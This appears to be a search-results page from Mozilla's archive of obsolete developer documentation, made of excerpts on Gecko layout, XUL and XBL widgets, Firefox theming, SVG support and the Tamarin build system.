...feel free to supply references. uox3 ultima online server-emulator uses mozilla spidermonkey verbosio xml editor no releases available verseminder bible passage app virgin media security security tools seems to use xulrunner virtualbox virtualization tool use xpcom as its c...
Source code directories overview - Archive of obsolete content
this document contains material for seamonkey, firefox, and toolkit. it is a living document which is (supposed to be) updated monthly according to changes in the mozilla source tree. ...
...form special actions inside makefiles. these programs are used for code level things instead of build level things (which are a stored in the build directory). content was split off from layout and contains objects as they are exposed to the dom. db contains c code for the mdb/mork database which is a low-level, general-purpose and cross-platform file library. it is used to store mail box data,
news data and global history data. it has not been updated to support xpcom yet. this code originated in the mozilla classic code base. dbm contains c code for managing, reading and writing hash tables. it is used for the auto-completion feature on the url edit box (stored in netscape.hst in mozilla classic) and for the cached pages index (stored in fat.db in mozilla classic). this code originated a...
...ntent; it just assigns different pieces of the window to various content items. this is known as "reflowing" the content. this code is also known by the names, "nglayout" and "gecko." lib contains c code used for reference by developers in programming the mac. it is not used. it shows how to embed the mozilla browser in a mac application as well as some sample file-handling code from apple. mail
news contains c interfaces and code for the mail and
news component (i.e. messenger in mozilla classic). it includes all the code for managing mail, reading
newsgroup messages, importing other mail formats, composing
new messages and so on. modules contains c code for various different browsing related features that are built into mozilla. it contains code for handling various image formats (e.g. .p...
...wn by the name, "nspr" and "netscape portable runtime". this code originated in mozilla classic. other-licenses contains code that does not fall under the mpl, including branding, libical and stubs for 7zip. parser contains the html parser and the xml parser (expat.). plugin contains code for the mrj plugin on mac. profile contains c interfaces, c code, xul and javascript scripts for creating
new user profiles, managing existing user profiles, migrating profiles from mozilla classic and using default profiles for popular isps (e.g. earthlink and concentric networks). rdf contains c interfaces and code for accessing various data and organizing their relationships according to rdf. rdf stands for "resource description framework" which is an open standard. this code reads and writes data fr...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
ound in the firefox installation directory. a .jar file is in reality a renamed zip archive. opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a zip archive. however, if your application doesn't detect classic.jar as a standard zip archive, rename the file classic.zip and continue extraction. note: starting in gecko 2.0, the
new omni.jar file contains the skin, among other resources. see theme changes in firefox 4 for details on how to extract skin files from firefox 4 or later. classic.jar locations linux: /usr/lib/mozillafirefox/chrome/classic.jar or /usr/lib/firefox-*.*.*/chrome/classic.jar windows: \program files\mozilla firefox\chrome\classic.jar for mac os x: go to your applications folder control click ap...
...assic\global global contains almost all of the important css files that define the appearance of the browser. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. install your
new theme before you can see the changes you make to a firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right ...
...anges you make to a firefox theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. ...
...eme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. so create a
new directory called my_theme. into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files. (yes, this means that the structure of your
new directory and classic.jar will be slightly different.) creating the install files contents.rdf make a copy of contents.rdf, place it in \my_theme and open it up in your text editor. this file is a small xml database which is used to describe the skin. in the code, search for all instances of "my_theme" and replace them with the name of your theme. the packages section lists which components ...
Block and Line Layout Cheat Sheet - Archive of obsolete content
hich affect all frames ("public" flags), and flags that are reserved for an individual frame's private use ("private" flags). ns_frame_in_reflow this bit is set when the frame is being actively being reflowed. by default it is set in willreflow(), and unset in didreflow(). many frames' reflow() method verifies that the bit is set with an assertion. ns_frame_first_reflow this flag is set on a
newly created frame, and later cleared by the frame's reflow() method when the frame has had its initial reflow. ns_frame_sync_frame_and_view ns_frame_outside_children this flag is set if the combined area of a frame's children extend past the frame's bounding box. (what is a frame's "bounding box"?) if this flag is set, then <code>moverflowarea</code> will contain the total area of the frame, in...
...ckframe::reflowline will flow the first line and each unwrapped line in the block twice. nsblockreflowcontext encapsulates the transient reflow state for a nslinebox that contains a block frame. mnextrcframe during an incremental reflow, this member holds current frame in the reflow chain. nslinelayout encapsulates the transient reflow state for a nslinebox that contains inline frames. a
new nslinelayout object is created for each inline linebox that is flowed. mflags ll_endsinwhitespace set to true by default when starting line layout. ll_understandsnwhitespace ll_textstartswithnbsp ll_firstletterstyleok ll_istopofpage ll_updatedband ll_impactedbyfloaters ll_lastfloaterwasletterframe ll_canplacefloater ll_knowstrictmode ll_instrictmode ll_lineendsinbr pe...
...emptytextframe pfd_isnonwhitespacetextframe pfd_isletterframe pfd_issticky pfd_isbullet perspandata in nslinelayout, a "span" is a container inline frame, and a "frame" is one of its children. perhaps perparentdata and perchilddata would be better names? nslinelayout::beginlinereflow creates the initial perspandata which is called the "root span". nsinlineframe::reflowframes creates a
new perspandata when it calls nslinelayout::beginspan: at this time, the nslinelayout object's mcurrentspan is switched to the
new span. the
new span records the old mcurrentspan as its parent. after reflowing the child inline frames, nsinlineframe::reflowframes calls nslinelayout::endspan, which pops the perspandata and re-sets mcurrentspan. mfirstframe the first perframedata structure in the spa...
...framedata structure frame in the span. perframedata structures are added to the span as they are reflowed. mlastframe may also be directly manipulated if a line is split, or if frames are pushed from one line to the next. mframe the perframedata of the inline frame that "owns" the span, or null if this is the root span. mframe is initialized to the containing inline frame's perframedata when a
new perspandata is pushed in nslinelayout::beginspan. original document information author(s): chris waterson last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
Layout System Overview - Archive of obsolete content
urse, some complexity involved with managing these two models simultaneously... so far the general flow of layout looks like this: obtain a document's content model utilize the style system to resolve the style of each element in the content model construct the frames that correspond to the content model, according to the resolved style data. perform the initial layout, or initial reflow, on the
newly constructed frame. this is pretty straight-forward, but is complicated somewhat by the notion of incrementalism. one of the goals of the layout system's design is to create parts of the presentation as they become available, rather than waiting for the entire document to be read, parsed, and then presented. this is a major benefit for large documents because the user does not have to wait for ...
...ocuments because the user does not have to wait for the 200th page of text to be read in before the first page can be displayed - they can start reading something right away. so really, this sequence of operations resolve style, create frame, layout frame, gets repeated many times as the content becomes available. in the normal in-flow case this is quite natural because the sequential addition of
new content results in sequential addition of
new frames, and because everything is in-flow, the
new frames do not influence the geometry of the frames that have already been formatted. when out-of-flow frames are present this is a more difficult problem, however. sometimes a content element comes in incrementally, and invalidates the formatting of some of the frames that precede it, frame that have ...
...eflow. another responsibility of layout is to manage dynamic changes to the content model, changes that occur after the document has been loaded and (possibly) presented. these dynamic changes are caused by manipulations of the content model via the dom (generally through javascript). when a content element is modified, added or removed, layout is notified. if content elements have been inserted,
new frames are created and formatted (and impacts to other frames are managed by performing further incremental reflows). if content is removed, the corresponding frames are destroyed (again, impacts to other elements are managed). if a content element is modified, layout must determine if the change influences the formatting of that or other elements' presentations, and must then reformat, or re-ref...
...ent both a full-blown wysiwyg html editor, and a single and multi-line text entry control. in both cases, the content is manipulated by the user (via the dom) and the resulting visual impacts must be shown as quickly as possible, without disconcerting flicker or other artifacts that might bother the user. consider a text entry field: the user types text into a form on the web. as the user types a
new character it is inserted into the content model. this causes layout to be notified that a
new piece of content has been entered, which causes layout to create a
new frame and format it. this must happen very fast, so the user's typing is not delayed. in the case of the wysiwyg html editor, the user expects that the modifications they make to the document will appear immediately, not seconds later...
Frequently Asked Questions - Archive of obsolete content
ink="http://www.w3.org/1999/xlink"> make sure all your svg files have these bindings. for more information see this link. why am i asked to choose a program to open svg files? when you try to load svg files from some websites you may get a dialogue asking you "what should firefox do with this file?". this is either because your browser doesn't support svg (you must have mozilla firefox 1.5 or
newer), or because the webpage/server isn't correctly telling mozilla that the file contains svg. for example, webpages that embed svg using the <object> or <embed> tags must have a 'type' attribute assigned with the correct svg mime type of "image/svg+xml". if the mime type specified is wrong (for example image/svg-xml) mozilla won't recognise it. if that isn't the problem, then it may be that the s...
... maintainer to correct it. how should i report bugs in mozilla svg? if you discover any problems with our svg implementation that you think we should know about then we'd like to hear from you. to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported. if you can't find a matching bug please file a
new svg bug report, preferably attaching a (very small!) svg file that demonstrates the bug. if you have any problems with the bug database feel free to contact contact us. can i use a plugin for svg instead of mozilla's native support? individuals can choose to use a plugin to view svg in mozilla on their own computers, but there is no way for svg content authors to make mozilla use a plugin when ...
...this will disable the native svg support. does the <embed> tag support svg documents? yes. as of 2004-11-11, builds with native svg support will use the native support to render svg documents that are embeded by reference into an html document using the <embed> tag. note that this capability was added to support legacy content. the <object> tag should be used in preference to the <embed> tag in
new content whenever possible. the first milestone builds that will have this support will be svg enabled builds of firefox 1.5. what can i do to help the svg project? okay so maybe this isn't such a frequently asked question, but if it was, just think how much further on with our svg implementation we could be! we're always looking for help from anyone willing to lend a hand. if you're a c++ prog...
... us is to join the #svg channel on mozilla.org's irc server. this is where most of us hang out to discuss issues relating to the svg implementation. if you don't have an irc client then install chatzilla into mozilla/mozilla firefox (note it may already be built in). clicking on the link above should then take you straight there. if you'd prefer to contact us by email you can send an email to our
newsgroup mozilla.dev.tech.svg which is archived here. alternatively you can email any of us directly of course (see the preceeding question for our email addresses). original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creat...
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments. ...
...why: avoid copying and conversion from literal char-based strings to utf16 strings. old way: use nsautostring and assignwithconversion() ...
...char-based strings to utf16 strings. ...
...; converting literal strings to string objects what: converting from const prunichar*/const char* to the appropriate string type why: avoid making extra copies of strings, just to convert between types! ...
Tamarin Build System Documentation - Archive of obsolete content
and a red box will appear on the slave where the error occurred. the compile phase takes about 20-25 minutes. the smoke phase runs a set of tests on each platform until 2 minute is exceeded. the set of smoke tests can contain any shell build and any test suite (including performance). the smoke test list is constantly updated to contain the most recent failures, most frequent failures, and the
newest testcases. the idea is to catch test failures in a few minutes rather than running the complete test run (1h 45m). the smoke test including downloading the shell takes about 3-4 minutes. the test phase runs all functional testcases including acceptance tests, cmdline tests, and selftests. the acceptance tests are the majority and are run on all shells (release, release-debugger, debug, debu...
...e next build. how are builds triggered? checkins (hg push) to http://hg.mozilla.org/tamarin-redux and sandbox requests will trigger a buildbot build when all build slaves are idle the next build begins before the build begins buildbot waits for 2 minutes of no checkin activity the build system prioritizes tamarin-redux checkins over sandbox builds when several tamarin-redux checkins occur the
newest change is built including all checkins since the last build each sandbox build occurs in the order they were submitted, the submitter may cancel a build. how do i build a sandbox build? create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cf...
...; cd scripts edit enviro...
... sandbox builds, they cannot be removed but the most checkin including all
new checkins are built how can i run buildbot scripts locally? the buildbot scripts are located in the tamarin repository, get a current copy in your test repository cd into the build/buildbot/slaves directory: cd build/buildbot/slaves copy the your platform scripts directory into the scripts directory and cd into the
new scripts directory: cp -r mac-intel-10_5/scripts . ; cd scripts edit environment.sh, change the basedir and buildsdir settings (around line 51) basedir=~/hg/tamarin-redux (path to my test repository) (next line) buildsdir=~/hg/builds (a directory to store downloaded builds) always set current working directory to the scripts directory when running a script run a script (e.g.) ../all/run-acc...
URIs and URLs - Archive of obsolete content
resource a resource can be anything that has identity. familiar examples include an electr...
... resource a resource can be anything that has identity. ...
...the resolution of some url may require the use of more than one protocol (e.g., both dns and http are typically used to access an "http" url's resource when it can't be found in a local cache). in necko every uri scheme is represented by a protocol handler. sometimes a protocol handler represents more than one scheme. ...
... it can't be found in a local cache). in necko every uri scheme is represented by a protocol handler. sometimes a protocol handler represents more than one scheme. the protocol handler provides scheme specific information and methods to create
new uris of the schemes it supports. one of the main necko goals is to provide a "plug able" protocol support. this means that it should be possible to add
new protocols to necko just by implementing nsiprotocolhandler and nsichannel. it also might be necessary to implement a
new urlparser for a
new protocol but that might not be necessary because necko already provides uri implementations that can deal with a number of schemes, by implementing the generic urlparser defined in rfc 2396. nsiuri and nsiurl in a strict sense necko does only know urls, uris...
Example Sticky Notes - Archive of obsolete content
s-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc. ...
...he bound element. */ // your code goes here ]]></constructor> <destructor><![cdata[ /** * the code below will be called one time only before * binding is unbound. you cannot cancel this event, * but you may accomplish some last minute clean up. * "this" in this context refers to the bound element. */ // your code goes here ]]></destructor> <field name="priority"><![cdata[ /** *
new "real" property for the bound element. * within this block the content is interpreted * as javascript code. the result of this code * evaluation (if any) will be used as initial value. */ "normal"; ]]></field> <property name="innertext"> <!--
new "virtual" property for the bound element. unlike <field> these are really two functions (getter and setter). within the virtual properties ...
...ill lead to circular setter call and stack overflow. --> <getter><![cdata[ var st = this.innerhtml || ''; if (st != '') { var re = /<\/?[^>]+>/gi; return st.replace(re,''); } else { return ''; } ]]></getter> <setter><![cdata[ // "val" in setter contains the assignment value. // here we simply echoing it back: return val; ]]></setter> </property> <method name="setborder"> <!--
new method for the bound element. unlike virtual property it is called in function context: this.setborder(arg) you also may define any amount of named arguments using <parameter name="argumentname"/> --> <parameter name="arg"/> <body><![cdata[ this.style.border = arg; ]]></body> </method> </implementation> <handlers> <!-- event handlers. mouse events sent to bindings are refactored...
... <handler event="mouseout"><![cdata[ this.style.backgroundcolor = this.$bg; ]]></handler> </handlers> </binding> </bindings> notes.css .sticker { position: relative; left: 0px; right: 0px; float: left; clear: none; width: 10em; height: 10em; overflow: visible; margin: 1em 1em; padding: 0.5em 0.5em; border: 2px solid blue; background-color: yellow; font: 1em normal "times
new roman",serif; font-style: italic; cursor: default; } view this example ...
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks. when a user clicks the link "install the
new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in
newblue.xpi to the user's profile directory. ...
...lltrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks. when a user clicks the link "install the
new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in
newblue.xpi to the user's profile directory. ...
...ome trigger scripts are typically invoked by javascript event handlers on hyperlinks. when a user clicks the link "install the
new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in
newblue.xpi to the user's profile directory. ...
...ally invoked by javascript event handlers on hyperlinks. when a user clicks the link "install the
new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in
newblue.xpi to the user's profile directory. ...
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a
new standard for writing and processing xml directly in javascript (ecma-262, iso-16262). e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists. e4x also adds
new javascript operators for filtering xml lists, and for enumerating xml children and descendants. another e4x feature: the ability to bind a w3c dom document to a
new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. ...
...these include plans to expose the rdf api to public web content, as well as performance and correctness improvements. ...
... as well as performance and correctness improvements. rich web: svg and canvas in mozilla - robert o'callahan today's web browsers offer somewhat limited graphics capabilities to web developers. advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications. to realize this potential in web applications, browsers must expose rich
new graphics apis to web content. the mozilla project will meet this challenge with two major
new features to be delivered in firefox 1.1: integrated svg and a
new canvas html element. work is also underway "under the hood" on a
new unified graphics architecture that uses 3d graphics processors to accelerate all rendering. this work provides additional benefits to web developers such as the ability t...
... xul - mozilla's xml user interface language - ben goodger ben goodger, lead engineer for mozilla firefox, talked about xul, mozilla's xml user interface toolkit. ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
meelement from the current document, by calling removechild() method to remove the first child, until there are no children remaining. note, that haschildnodes() and firstchild are also part of the dom api. ...
...o
new menu items to a <menupopup>: to the start and to the end of it. it uses document.createelementns() method to create the items, and insertbefore() with appendchild() to insert the created xml elements within the document. note: document.createelementns() creates an element, but does not put it anywhere in the document. you need to use other dom methods, such as appendchild() to insert the
newly created element in the document. appendchild() appends the node after all other nodes, while insertbefore() inserts the node before the node referenced by its second parameter. ...
...ppendchild() to insert the
newly created element in the document. appendchild() appends the node after all other nodes, while insertbefore() inserts the node before the node referenced by its second parameter. function createmenuitem(alabel) { const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var item = document.createelementns(xul_ns, "menuitem"); // create a
new xul menuitem item.setattribute("label", alabel); return item; } var popup = document.getelementbyid("mypopup"); // a <menupopup> element var first = createmenuitem("first item"); var last = createmenuitem("last item"); popup.insertbefore(first, popup.firstchild); popup.appendchild(last); you can also use appendchild() and insertbefore() to move existing elements. for example you could move t...
... insertbefore() to move existing elements. for example you could move the item labeled "first item" to the end of popup by adding this statement as a last line to the snippet above: popup.appendchild(first); this statement would remove the node from its current position in the document and re-insert it at the end of the popup. anonymous content (xbl) xbl is the language used in mozilla to define
new widgets. widgets defined in xbl may choose to define some content which is inserted to the bound element, when the binding is attached. this content, called anonymous content, is not accessible through normal dom methods. you need to use the methods of nsidomdocumentxbl interface instead. for example: // gets the first anonymous child of the given node document.getanonymousnodes(node)[0]; // ret...
insertItemAt - Archive of obsolete content
« xul reference home insertitemat( index, label, value ) return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. ...
... return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. ...
... index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!-- this example inserts at the selected item or appends, then selects the
newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate =
new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var
newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var
newindex = mylistbox.selectedindex; mylistbox.insertitemat(
newin...
...n list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var
newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var
newindex = mylistbox.selectedindex; mylistbox.insertitemat(
newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the
newly created item mylistbox.selectedindex =
newindex; } </script> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
Features of a Window - Archive of obsolete content
section. creating another window you can create a second window for your application in the same manner as you would create the first one. just create a second xul file with the window code in it. as in html, you can use the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a
new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window. this function will return a reference to the
newly opened window. you can use this reference to call functions of the other window. the open function takes three arguments. the first is the url of the file you wish to open. the second is an internal name of the wind...
...hrome' is important to open the window as a chrome file. if you do not add the 'chrome' flag, the file will open up as the content in a browser window. for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the
new elements. the window is really just a box which is flexible and defaults to vertical orientation. you can also specify the width and height directly on the window tag. this, of course, causes the window to be displayed in a specific size. if you leave it out, the size is determined by the elements that are in it. gecko 1.9.2 note starting in gecko 1.9.2 (firefox 3.6), overriding the position...
...e. you may disable a feature by setting it to 'no', for example 'dialog=no'. alwayslowered the window will always appear behind other windows. alwaysraised the window will always appear above other windows. centerscreen the window will be centered on the screen when it is opened. dependent the window will always appear relative to the window that opened it. if the window that opened the
new window is moved, the
new window is moved relative to it. dialog the window is a dialog box, which may appear differently. modal the dialog is modal. the window that opened the modal window can't be interacted with until the modal window is closed. resizable the user can resize the window. see also window interface's open() method loads the specified resource into the browsing context (win...
...a dialog box, which may appear differently. modal the dialog is modal. the window that opened the modal window can't be interacted with until the modal window is closed. resizable the user can resize the window. see also window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a
new window is opened and the specified resource is loaded into its browsing context.">window.open() next, we'll look at how to open secondary dialogs. « previousnext » ...
Tabboxes - Archive of obsolete content
pages to appear. we'll find out how to create them here. tabboxes tabboxes are typically used in an application in the preferences window. a series of tabs appears across the top of a window. the user can click each tab to see a different set of options. it is useful in cases when you have more options than will fit in one screen. xul provides a method to create such dialogs. it involves five
new elements, which are described briefly here and in more detail below. tabbox the outer box that contains the tabs along the top and the tab pages themselves. tabs the inner box that contains the individual tabs. in other words, this is the row of tabs. tab a specific tab. clicking on the tab brings the tab page to the front. tabpanels the container for the pages. tabpanel the body of a...
... is a one-to-one relationship between the tab and tabpanel elements. when determining the size of the tabbox, the size of the largest page is used. that means that if there are ten textboxes on one tab page and only one on another, the tab page will be sized to fit the one with the ten on it as this takes up more room. ...
...ize of the largest page is used. that means that if there are ten textboxes on one tab page and only one on another, the tab page will be sized to fit the one with the ten on it as this takes up more room. the area taken up by the tab area does not change when the user switches to a
new tab page. tabbox example example 1 : source view <tabbox> <tabs> <tab label="mail"/> <tab label="
news"/> </tabs> <tabpanels> <tabpanel id="mailtab"> <checkbox label="automatically check for mail"/> </tabpanel> <tabpanel id="
newstab"> <button label="clear
news buffer"/> </tabpanel> </tabpanels> </tabbox> here, two tabs have been added, the first labeled 'mail' and the other '
news'. when the user clicks on the mail tab, the contents of the first tab page will be...
... the currently selected tab element is given an additional selected attribute which is set to true. this alters the appearance of the currently selected tab to make it look selected. only one tab will have a true value for this attribute at a time. ...
Tree View Details - Archive of obsolete content
isplayed with a twisty next to it so that the user may open and close the row to see child items. empty containers will not have a twisty, but will still be treated like a container. when the user clicks the twisty to open a row, the tree will call the view's toggleopenstate method. the view should then perform any necessary operations to retrieve the child rows and then update the tree with the
new rows. note: as of this writing (gecko 2.0), custom nsitreeview implementations must be prepared to handle a call to toggleopenstate for any row index which returns true for a call to iscontainer, regardless of whether the container is empty. review of the methods here is a review of the methods needed to implement hierarchical views: getlevel(row) hasnextsibling(row, afterindex) getparentin...
...le, if the liquids row was opened, the corresponding array from childdata, which in this case contains only the single mercury child, will be inserted into the visibledata array after liquids but before gases. this will increase the array size by one. the two booleans in each row in the visibledata structure indicate whether a row is a container and whether it is open respectively. obviously, the
new inserted child items will have both values set to false. implement the tree view interface next, we need to implement the tree view interface. first, the simple functions: { treebox: null, selection: null, get rowcount() { return this.visibledata.length; }, settree: function(treebox) { this.treebox = treebox; }, getcelltext: function(idx, column) { return ...
...en in the array so that we will know the next time the toggleopenstate function is called that the row will need to be closed instead. next, we look up the data in the childdata map for the row. the result is that 'toinsert' will be set to one of the child arrays, for example ["silver", "gold", "lead"] if the solids row is the one being opened. next, we use the array's splice function to insert a
new row for each item. for solids, three items will be inserted. finally, the tree box's rowcountchanged function needs to be called. recall that treebox is a tree box object and was set earlier by a call to the settree function. the tree box object will be created by the tree for you and you can call its functions. in this case, we use the rowcountchanged function to inform the tree that some rows...
...w at the same level will be the next container which should not be removed. finally, we use the splice function to remove the rows from the visibledata array and call the rowcountchanged function to redraw the tree. when deleting rows, you will need to supply a negative count of the number of rows to delete. whether opening or closing a row, we need to tell the tree to repaint the twisty in the
new state. the easiest way to do this is to invalidate the row. complete example there are several other view functions we can implement but they don't need to do anything in this example, so we can create functions that do nothing for those. they are added near the end of the complete example, shown here: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wind...
XUL Structure - Archive of obsolete content
' probably because it seemed like a convenient name to use in keeping with the chrome packages that are included with mozilla. to further the confusion, there are two other places where the word "chrome" might appear. these are the -chrome command line argument and the chrome modifier to the window.open() function. neither of these features grant extra privileges; instead they are used to open a
new top-level window without the browser ui such as the menu and toolbar. you will commonly use this feature in more complex xul applications since you wouldn't want the browser ui to exist around your dialog boxes. the files for a package are usually combined into a single jar file. a jar file may be created and examined using a zip utility. for instance, you can open the jar files in mozilla's chr...
...in this case, the package name is "browser" so we expect to find browser.xul. some of the other xul files describe separate windows. for example, the file pageinfo.xul describes the page info dialog. many packages will include a contents.rdf file, which describes the package, its author, and the overlays it uses. however, this file is obsolete and has been replaced with a simpler mechanism. this
newer method is the manifest file mentioned earlier, and you will find these as files with the .manifest extension in the chrome directory. for instance, browser.manifest describes the browser package. several subdirectories, such as bookmarks and preferences, describe additional sections of the browser component. they are placed in different directories only to keep the files more organized. skins...
...s and a number of images used to define the look of an interface. the file browser.css is used by browser.xul and contains styles that define the appearance of various parts of the browser interface. again, note how the file browser.css has the same name as the package. by changing the css files, you can adjust the appearance of a window without changing its function. this is how you can create a
new theme. the xul part remains the same but the skin part changes independently. locales the file en-us.jar describes the language information for each component, in this case for us english. like the skins, each language file contains files that specify text used by the package for a specific language. the locale structure is similar to the others, so it won't be listed here. the localized text ...
... because they may be different for each language. dtd files are used by xul files so, in general, you will have one per xul file. the locale part also contains properties files, which are similar, but are used by script files. the file browser.properties contains a few such localized strings. this structure allows you to translate mozilla or a component into a different language by just adding a
new locale for that language. you don't have to change the xul code at all. in addition, another person could supply a separate package that applies a skin or locale to your content part, thus providing support for a
new theme or language without having to change the original package. other packages there is a special package called toolkit (or global). we saw the global directory earlier for skins...
XUL Event Propagation - Archive of obsolete content
ype="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('
new item alert')" label="
new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu>...
..."event propagation" or event bubbling. event bubbling means you can handle events anywhere above the event-raising element in the hierarchy. if you cut and paste the source code from the example above into a separate file, you can see that the effect of these event handlers is to display as many as four different alert dialogs as the event bubbles up the hierarchy. for example, when you click the
new menuitem from the file menu, the event handlers display alerts for "
new item alert", "menu handler", "box handler", and "window handler." any or all of these event handler locations might be useful in your interface development. (see it happen.) for an event to be useful somewhere higher up, however, it is very often necessary to determine which element below the handler actually raised the even...
... event. for example, if an event handler at the menu is handling an event raised by one of the menu items, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a javascript function determines which menuitem was selected and responds appropriately: <script> function docmd(el) { v = el.getattribute("value"); if (v == "
new") alert("
new clicked"); else if (v == "open") alert("open clicked"); else alert("close clicked"); } </script> ... <menu class="menu" value="file" oncommand="docmd(event.target)"> <menupopup> <menuitem oncommand="alert('
new item alert')" value="
new" /> <menuitem value="open" /> <menuitem oncommand="alert('close handler')" value="close" /> </menupopup> </menu> ... ...
...dle the event itself. in another example, an onload event handler for a xul window can register a box element to capture all the click events that are raised from its child elements: var bbox = document.getelementbyid("bigbox"); if (bbox) bbox.addeventlistener("click", function() { alert('captured'); }, true); ... <box id="bigbox"> <menu value="file"> <menupopup> <menuitem value="
new" onclick="alert('not captured')" /> ... <menupopup> </menu> </box> adding an event listener in order to take advantage of event capturing (or event bubbling with elements that do not already have event listeners), you must add an event listener to the element that wants to capture events taking place below it. any xul element may use the dom addeventlistener method to register it...
listbox - Archive of obsolete content
ingle only one row may be selected at a time. (default in listbox and richlistbox.) multiple multiple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column. for richlistbox, this is
new in firefox 3.5. suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods. if set to true, the select event is never fired. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "...
...), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata additemtoselection( item ) return type: no return value selects the given item, without deselecting any other items that are already selected. appenditem( label, value ) return type: element creates a
new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the
newly created element. clearselection() return type: no return value deselects all of the items. a select event is sent before the items are deselected. ensureelementisvisible( element ) return type: no return value if the specified element is not currently visible to the u...
...hen multiple items are selected, you can retrieve each selected item using this method. the argument index specifies the index in the list of the selected items, not the row number of the item. the item index is zero-based, thus this example will return the first selected item: getselecteditem(0). insertitemat( index, label, value ) return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. invertselection() return type: no return value reverses the selected state of all items. selected items become deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the...
...ecome deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is also adjusted. if isselectingrange is also true, then the
new item is selected in addition to any currently selected items. if isselectingrange is false, any existing selection is cleared. items that are hidden are skipped. removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. removeitemfromselection( item ) return type: no return value deselect...
richlistbox - Archive of obsolete content
